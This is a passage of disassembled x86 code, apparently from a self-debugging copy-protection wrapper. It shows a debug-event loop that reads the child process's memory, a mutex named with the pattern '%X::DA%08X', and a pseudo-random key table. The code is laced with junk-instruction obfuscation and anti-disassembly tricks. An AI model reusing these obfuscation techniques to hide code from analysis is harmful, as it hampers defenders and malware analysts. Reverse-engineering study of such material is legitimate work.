loc_4BB6AC:				; CODE XREF: .text:loc_4BB69Aj
		repne sbb al, 0DBh
		jmp	short loc_4BB6B4
; ---------------------------------------------------------------------------


loc_4BB6B1:				; CODE XREF: .text:004BB684j
		jmp	short near ptr loc_4BB684+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BB6B4:				; CODE XREF: .text:004BB6AFj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, dword_4ED83C
		add	edx, 1
		mov	dword_4ED83C, edx
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+8]
		push	eax
		call	sub_4BDB47
		add	esp, 8
		mov	dword ptr [ebp-0A34h], 10002h
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BB6F8:				; CODE XREF: .text:004BB678j
		mov	ecx, [ebp-0A30h]
		cmp	dword ptr [ecx], 4
		jnz	short loc_4BB759
		pusha
		xor	eax, eax
		jnz	short loc_4BB70A
		jmp	short loc_4BB71F
; ---------------------------------------------------------------------------


loc_4BB70A:				; CODE XREF: .text:004BB706j
		jmp	short loc_4BB73F
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BB711:				; CODE XREF: .text:loc_4BB71Fj
		jo	short loc_4BB721
		jmp	short near ptr loc_4BB721+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BB71F:				; CODE XREF: .text:004BB708j
		jz	short loc_4BB711


loc_4BB721:				; CODE XREF: .text:loc_4BB711j
					; .text:004BB713j
		jmp	short loc_4BB6AA
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 3C158B61h, 83004ED8h, 158901EAh, 4ED83Ch
		dd 0F5D0858Bh
		db 2 dup(0FFh),	8Bh
; ---------------------------------------------------------------------------


loc_4BB73F:				; CODE XREF: .text:loc_4BB70Aj
		dec	eax
		or	[ecx-18h], dl
		sub	ds:0C4830000h, ah
		add	al, 0C7h
		test	ecx, esp
		cmc
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	[eax], eax
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BB759:				; CODE XREF: .text:004BB701j
		mov	edx, [ebp-0A30h]
		cmp	dword ptr [edx], 5
		jnz	short loc_4BB7BF
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BB787


loc_4BB784:				; CODE XREF: .text:004BB7A5j
		jmp	short near ptr loc_4BB7A7+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB787:				; CODE XREF: .text:004BB782j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BB79A
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BB790:				; CODE XREF: .text:004BB79Cj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BB79E
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB79A:				; CODE XREF: .text:004BB78Bj
		xor	eax, eax
		jz	short loc_4BB790


loc_4BB79E:				; CODE XREF: .text:004BB797j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BB784


loc_4BB7A7:				; CODE XREF: .text:loc_4BB784j
		jmp	near ptr 92B2550Dh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	dword ptr [ebp-0A34h], 10002h
		jmp	loc_4BC095	; CODE XREF: .text:004BB82Aj
; ---------------------------------------------------------------------------


loc_4BB7BF:				; CODE XREF: .text:004BB762j
		mov	eax, [ebp-0A30h]
		cmp	dword ptr [eax], 8
		jnz	loc_4BB8DA
		jo	short loc_4BB7D7
		jl	short loc_4BB7D5


loc_4BB7D2:				; CODE XREF: .text:loc_4BB7D5j
					; .text:loc_4BB7D7j
		jmp	short loc_4BB7D9
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BB7D5:				; CODE XREF: .text:004BB7D0j
		jz	short loc_4BB7D2


loc_4BB7D7:				; CODE XREF: .text:004BB7CEj
		jmp	short loc_4BB7D2
; ---------------------------------------------------------------------------


loc_4BB7D9:				; CODE XREF: .text:loc_4BB7D2j
		mov	ecx, [ebp-0A30h]
		xor	edx, edx
		mov	dx, [ecx+12h]
		mov	[ebp-14C0h], edx
		mov	eax, [ebp-14C0h]
		add	eax, 2
		push	eax
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-1914h], eax
		mov	ecx, [ebp-1914h]
		mov	[ebp-14BCh], ecx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BB846 ; CODE	XREF: .text:loc_4BB846j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BB81E:				; CODE XREF: .text:004BB83Fj
		jmp	short loc_4BB83D
; ---------------------------------------------------------------------------


loc_4BB820:				; CODE XREF: .text:loc_4BB83Dj
		xor	ecx, ecx


loc_4BB822:				; CODE XREF: .text:004BB831j
		jz	short $+2
		jmp	short loc_4BB836
; ---------------------------------------------------------------------------


loc_4BB826:				; CODE XREF: .text:004BB83Aj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BB7BA+2
		jmp	short loc_4BB833
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BB82F:				; CODE XREF: .text:loc_4BB833j
		jmp	short loc_4BB841
; ---------------------------------------------------------------------------
		jz	short loc_4BB822


loc_4BB833:				; CODE XREF: .text:004BB82Cj
		jnb	short loc_4BB82F
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BB836:				; CODE XREF: .text:004BB824j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BB826
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BB83D:				; CODE XREF: .text:loc_4BB81Ej
		jmp	short loc_4BB820
; ---------------------------------------------------------------------------
		jmp	short loc_4BB81E
; ---------------------------------------------------------------------------


loc_4BB841:				; CODE XREF: .text:loc_4BB82Fj
		repne sbb al, 0DBh
		jmp	short loc_4BB849
; ---------------------------------------------------------------------------


loc_4BB846:				; CODE XREF: .text:004BB819j
		jmp	short near ptr loc_4BB819+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BB849:				; CODE XREF: .text:004BB844j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	0
		mov	edx, [ebp-14C0h]
		add	edx, 2
		push	edx
		mov	eax, [ebp-14BCh]
		push	eax
		mov	ecx, [ebp-0A30h]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, dword_4F4750
		mov	ecx, [eax]
		push	ecx
		call	dword_4ED0D0	; ReadProcessMemory
		mov	edx, [ebp-0A30h]
		xor	eax, eax
		mov	ax, [edx+10h]
		test	eax, eax
		jz	short loc_4BB8A0
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_4BB89E
		mov	ecx, [ebp-14BCh]
		push	ecx
		call	dword ptr [ebp-1Ch]


loc_4BB89E:				; CODE XREF: .text:004BB892j
		jmp	short loc_4BB8B0
; ---------------------------------------------------------------------------


loc_4BB8A0:				; CODE XREF: .text:004BB88Cj
		cmp	dword ptr [ebp-44h], 0
		jz	short loc_4BB8B0
		mov	edx, [ebp-14BCh]
		push	edx
		call	dword ptr [ebp-44h]


loc_4BB8B0:				; CODE XREF: .text:loc_4BB89Ej
					; .text:004BB8A4j
		mov	eax, [ebp-14BCh]
		mov	[ebp-1918h], eax
		mov	ecx, [ebp-1918h]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	dword ptr [ebp-0A34h], 10002h
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BB8DA:				; CODE XREF: .text:004BB7C8j
		mov	edx, [ebp-0A30h]
		cmp	dword ptr [edx], 9
		jnz	short loc_4BB8EA
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BB8EA:				; CODE XREF: .text:004BB8E3j
		mov	eax, [ebp-0A30h]
		cmp	dword ptr [eax], 3
		jnz	loc_4BBE03
		xor	ecx, ecx
		mov	cl, byte_4EDC44
		test	ecx, ecx
		jz	loc_4BB98D
		mov	byte_4EDC44, 0
		mov	edx, dword_4ED3E4
		xor	edx, dword_4ED420
		push	edx
		mov	eax, dword_4F4750
		mov	ecx, [eax+8]
		push	ecx
		push	offset aXDa08x	; "%X::DA%08X"
		lea	edx, [ebp-208h]
		push	edx
		call	_sprintf_0
		add	esp, 10h
		lea	eax, [ebp-208h]
		push	eax
		push	0
		push	0
		call	dword_4ED0A4	; CreateMutexA
		call	dword_4ED078	; RtlGetLastWin32Error
		cmp	eax, 0B7h	; CODE XREF: .text:loc_4BB9CBj
		jnz	short loc_4BB971
		mov	byte ptr [ebp-1AA9h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	al, [ebp-1AA9h]
		jmp	loc_4BC14E
; ---------------------------------------------------------------------------


loc_4BB971:				; CODE XREF: .text:004BB956j
		mov	dword ptr [ebp-0A34h], 10002h
		mov	ecx, dword_4F4750
		mov	edx, [ecx+4]
		push	edx
		call	dword_4ED0F0	; ResumeThread
		jmp	short loc_4BB9AD
; ---------------------------------------------------------------------------


loc_4BB98D:				; CODE XREF: .text:004BB903j
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+10h]
		push	ecx
		call	dword_4ED0E8	; CloseHandle
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+14h]
		push	eax
		call	dword_4ED0E8	; CloseHandle


loc_4BB9AD:				; CODE XREF: .text:004BB98Bj
		pusha
		xor	eax, eax
		jnz	short loc_4BB9B4
		jmp	short loc_4BB9C9
; ---------------------------------------------------------------------------


loc_4BB9B4:				; CODE XREF: .text:004BB9B0j
		jmp	short loc_4BB9E9
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BB9BB:				; CODE XREF: .text:loc_4BB9C9j
		jo	short loc_4BB9CB
		jmp	short near ptr loc_4BB9CB+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BB9C9:				; CODE XREF: .text:004BB9B2j
		jz	short loc_4BB9BB


loc_4BB9CB:				; CODE XREF: .text:loc_4BB9BBj
					; .text:004BB9BDj
		jmp	short near ptr loc_4BB951+3
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 0E86133A0h, 0FFFFC95Dh, 0FF25h, 0FC08500h, 41984h, 7C077000h
		db 3
; ---------------------------------------------------------------------------


loc_4BB9E9:				; CODE XREF: .text:loc_4BB9B4j
					; .text:004BB9ECj ...
		jmp	short loc_4BB9F0
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		jz	short loc_4BB9E9
		jmp	short loc_4BB9E9
; ---------------------------------------------------------------------------


loc_4BB9F0:				; CODE XREF: .text:loc_4BB9E9j
		mov	dword ptr [ebp-14C4h], 0
		jmp	short loc_4BBA0B
; ---------------------------------------------------------------------------


loc_4BB9FC:				; CODE XREF: .text:004BBDADj
		mov	ecx, [ebp-14C4h]
		add	ecx, 1
		mov	[ebp-14C4h], ecx


loc_4BBA0B:				; CODE XREF: .text:004BB9FAj
		mov	edx, dword_4F4768
		shl	edx, 4
		cmp	[ebp-14C4h], edx
		jge	loc_4BBDB2
		mov	dword ptr [ebp-1A60h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A54h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A50h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A5Ch], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A58h], edx
		mov	ecx, [ebp-1A50h]
		imul	ecx, [ebp-1A58h]
		mov	edx, [ebp-1A54h]
		imul	edx, [ebp-1A58h]
		mov	eax, [ebp-1A50h]
		imul	eax, [ebp-1A5Ch]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A60h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1A4Ch], eax
		mov	dword ptr [ebp-1A74h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A68h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A64h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A70h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A6Ch], edx
		mov	ecx, [ebp-1A64h]
		imul	ecx, [ebp-1A6Ch]
		mov	edx, [ebp-1A68h]
		imul	edx, [ebp-1A6Ch]
		mov	eax, [ebp-1A64h]
		imul	eax, [ebp-1A70h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A74h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1A40h], eax
		mov	dword ptr [ebp-1A88h], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A7Ch], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A78h], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A84h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A80h], edx
		mov	ecx, [ebp-1A78h]
		imul	ecx, [ebp-1A80h]
		mov	edx, [ebp-1A7Ch]
		imul	edx, [ebp-1A80h]
		mov	eax, [ebp-1A78h]
		imul	eax, [ebp-1A84h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A88h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1A44h], eax
		mov	dword ptr [ebp-1A9Ch], 100h
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A90h], eax
		mov	eax, [ebp-24h]
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A8Ch], edx
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A98h], eax
		mov	eax, 1DF5E0Dh
		cdq
		mov	ecx, 2710h
		idiv	ecx
		mov	[ebp-1A94h], edx
		mov	ecx, [ebp-1A8Ch]
		imul	ecx, [ebp-1A94h]
		mov	edx, [ebp-1A90h]
		imul	edx, [ebp-1A94h]
		mov	eax, [ebp-1A8Ch]
		imul	eax, [ebp-1A98h]
		add	eax, edx
		xor	edx, edx
		mov	esi, 2710h
		div	esi
		mov	eax, edx
		imul	eax, 2710h
		add	eax, ecx
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	eax, edx
		add	eax, 1
		xor	edx, edx
		mov	ecx, 5F5E100h
		div	ecx
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		imul	eax, [ebp-1A9Ch]
		xor	edx, edx
		mov	ecx, 2710h
		div	ecx
		and	eax, 0FFh
		mov	[ebp-1A48h], eax
		mov	edx, [ebp-1A44h]
		shl	edx, 8
		mov	eax, [ebp-1A40h]
		shl	eax, 10h
		mov	ecx, [ebp-1A4Ch]
		shl	ecx, 18h
		or	ecx, eax
		or	ecx, edx
		or	ecx, [ebp-1A48h]
		xor	ecx, dword_4ED41C
		xor	ecx, dword_4ED424
		xor	ecx, dword_4ED3EC
		xor	ecx, dword_4ED428
		xor	ecx, dword_4ED3AC
		mov	edx, [ebp-14C4h]
		mov	eax, dword_4F474C
		mov	[eax+edx*4], ecx
		jmp	loc_4BB9FC
; ---------------------------------------------------------------------------


loc_4BBDB2:				; CODE XREF: .text:004BBA1Aj
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BBDD5


loc_4BBDD2:				; CODE XREF: .text:004BBDF3j
		jmp	short near ptr loc_4BBDF5+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BBDD5:				; CODE XREF: .text:004BBDD0j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BBDE8
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BBDDE:				; CODE XREF: .text:004BBDEAj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BBDEC
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BBDE8:				; CODE XREF: .text:004BBDD9j
		xor	eax, eax
		jz	short loc_4BBDDE


loc_4BBDEC:				; CODE XREF: .text:004BBDE5j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BBDD2


loc_4BBDF5:				; CODE XREF: .text:loc_4BBDD2j
		jmp	near ptr 92B25B5Bh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BBE03:				; CODE XREF: .text:004BB8F3j
		mov	ecx, [ebp-0A30h]
		cmp	dword ptr [ecx], 6
		jnz	loc_4BC08B
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BBE35


loc_4BBE32:				; CODE XREF: .text:004BBE53j
		jmp	short near ptr loc_4BBE55+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BBE35:				; CODE XREF: .text:004BBE30j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BBE48
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BBE3E:				; CODE XREF: .text:004BBE4Aj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BBE4C
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BBE48:				; CODE XREF: .text:004BBE39j
		xor	eax, eax
		jz	short loc_4BBE3E


loc_4BBE4C:				; CODE XREF: .text:004BBE45j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BBE32


loc_4BBE55:				; CODE XREF: .text:loc_4BBE32j
		jmp	near ptr 92B25BBBh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	dl, byte_4F4120
		mov	[ebp-18D8h], dl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-18D7h]
		rep stosd
		stosw
		stosb
		mov	al, byte_4F4120
		mov	[ebp-15C8h], al
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-15C7h]
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp-0A30h] ; CODE	XREF: .text:loc_4BBF15j
		mov	edx, [ecx+1Ch]
		mov	[ebp-17D4h], edx
		cmp	dword ptr [ebp-17D4h], 0
		jz	loc_4BC07B
		push	0
		push	4
		lea	eax, [ebp-17D4h]
		push	eax
		mov	ecx, [ebp-17D4h]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED0D0	; ReadProcessMemory
		cmp	dword ptr [ebp-17D4h], 0
		jz	loc_4BC07B
		mov	ecx, [ebp-0A30h]
		xor	edx, edx
		mov	dx, [ecx+20h]
		test	edx, edx
		jz	loc_4BBFC7
		pusha
		xor	eax, eax
		jnz	short loc_4BBEFE
		jmp	short loc_4BBF13
; ---------------------------------------------------------------------------


loc_4BBEFE:				; CODE XREF: .text:004BBEFAj
		jmp	short loc_4BBF33
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BBF05:				; CODE XREF: .text:loc_4BBF13j
		jo	short loc_4BBF15
		jmp	short near ptr loc_4BBF15+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BBF13:				; CODE XREF: .text:004BBEFCj
		jz	short loc_4BBF05


loc_4BBF15:				; CODE XREF: .text:loc_4BBF05j
					; .text:004BBF07j
		jmp	short near ptr loc_4BBE99+5
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 68006A61h, 208h, 0E830858Dh, 8B50FFFFh, 0FFE82C8Dh
; ---------------------------------------------------------------------------
		call	dword ptr [ecx-75h]


loc_4BBF33:				; CODE XREF: .text:loc_4BBEFEj
		adc	eax, offset dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED0D0	; ReadProcessMemory
		lea	ecx, [ebp-17D0h]
		mov	[ebp-18DCh], ecx
		push	offset aUnicode	; "(Unicode) "
		lea	edx, [ebp-18D8h]
		push	edx
		call	_strcpy_0
		add	esp, 8
		jo	short loc_4BBF6A
		jl	short loc_4BBF68


loc_4BBF65:				; CODE XREF: .text:loc_4BBF68j
					; .text:loc_4BBF6Aj
		jmp	short loc_4BBF6C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BBF68:				; CODE XREF: .text:004BBF63j
		jz	short loc_4BBF65


loc_4BBF6A:				; CODE XREF: .text:004BBF61j
		jmp	short loc_4BBF65
; ---------------------------------------------------------------------------


loc_4BBF6C:				; CODE XREF: .text:loc_4BBF65j
		push	0
		lea	eax, [ebp-18D8h]


loc_4BBF74:				; CODE XREF: .text:004BBFE2j
		push	eax
		call	_strchr_0
		add	esp, 8
		mov	[ebp-18E0h], eax


loc_4BBF83:				; CODE XREF: .text:004BBFC0j
		mov	ecx, [ebp-18DCh]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_4BBFC2
		mov	eax, [ebp-18E0h]
		mov	ecx, [ebp-18DCh]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp-18E0h]
		add	eax, 1
		mov	[ebp-18E0h], eax
		mov	ecx, [ebp-18DCh]
		add	ecx, 2
		mov	[ebp-18DCh], ecx
		jmp	short loc_4BBF83
; ---------------------------------------------------------------------------


loc_4BBFC2:				; CODE XREF: .text:004BBF90j
		jmp	loc_4BC07B
; ---------------------------------------------------------------------------


loc_4BBFC7:				; CODE XREF: .text:004BBEF1j
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BBFFE ; CODE	XREF: .text:loc_4BBFFEj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BBFD6:				; CODE XREF: .text:004BBFF7j
		jmp	short loc_4BBFF5
; ---------------------------------------------------------------------------


loc_4BBFD8:				; CODE XREF: .text:loc_4BBFF5j
		xor	ecx, ecx


loc_4BBFDA:				; CODE XREF: .text:004BBFE9j
		jz	short $+2
		jmp	short loc_4BBFEE
; ---------------------------------------------------------------------------


loc_4BBFDE:				; CODE XREF: .text:004BBFF2j
		stc
		xor	ecx, 3
		jz	short loc_4BBF74
		jmp	short loc_4BBFEB
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BBFE7:				; CODE XREF: .text:loc_4BBFEBj
		jmp	short loc_4BBFF9
; ---------------------------------------------------------------------------
		jz	short loc_4BBFDA


loc_4BBFEB:				; CODE XREF: .text:004BBFE4j
		jnb	short loc_4BBFE7
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BBFEE:				; CODE XREF: .text:004BBFDCj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BBFDE
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BBFF5:				; CODE XREF: .text:loc_4BBFD6j
		jmp	short loc_4BBFD8
; ---------------------------------------------------------------------------
		jmp	short loc_4BBFD6
; ---------------------------------------------------------------------------


loc_4BBFF9:				; CODE XREF: .text:loc_4BBFE7j
		repne sbb al, 0DBh
		jmp	short loc_4BC001
; ---------------------------------------------------------------------------


loc_4BBFFE:				; CODE XREF: .text:004BBFD1j
		jmp	short near ptr loc_4BBFD1+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC001:				; CODE XREF: .text:004BBFFCj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	0
		push	104h
		lea	edx, [ebp-18D8h]
		push	edx
		mov	eax, [ebp-17D4h]
		push	eax
		mov	ecx, dword_4F4750
		mov	edx, [ecx]
		push	edx
		call	dword_4ED0D0	; ReadProcessMemory
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC052


loc_4BC04F:				; CODE XREF: .text:004BC070j
		jmp	short near ptr loc_4BC072+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC052:				; CODE XREF: .text:004BC04Dj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC065
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BC05B:				; CODE XREF: .text:004BC067j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC069
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC065:				; CODE XREF: .text:004BC056j
		xor	eax, eax
		jz	short loc_4BC05B


loc_4BC069:				; CODE XREF: .text:004BC062j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC04F


loc_4BC072:				; CODE XREF: .text:loc_4BC04Fj
		jmp	near ptr 92B25DD8h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax


loc_4BC07B:				; CODE XREF: .text:004BBEAFj
					; .text:004BBEDDj ...
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4ED0E8	; CloseHandle


loc_4BC08B:				; CODE XREF: .text:004BBE0Cj
		mov	dword ptr [ebp-0A34h], 10002h


loc_4BC095:				; CODE XREF: .text:loc_4BB66Aj
					; .text:004BB6F3j ...
		mov	eax, [ebp-0A34h]
		push	eax
		mov	ecx, [ebp-0A30h]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp-0A30h]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_4ED0D8	; ContinueDebugEvent
		jmp	short loc_4BC0D7
; ---------------------------------------------------------------------------
		push	10002h
		mov	edx, [ebp-0A30h]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp-0A30h]
		mov	edx, [ecx+4]
		push	edx
		call	dword_4ED0D8	; ContinueDebugEvent


loc_4BC0D7:				; CODE XREF: .text:004BC0B6j
		push	offset dword_4F45B0
		call	dword_4ED1AC	; RtlLeaveCriticalSection
		jmp	loc_4B9CCA
; ---------------------------------------------------------------------------


loc_4BC0E7:				; CODE XREF: .text:004B9CE1j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4BC11F
; ---------------------------------------------------------------------------
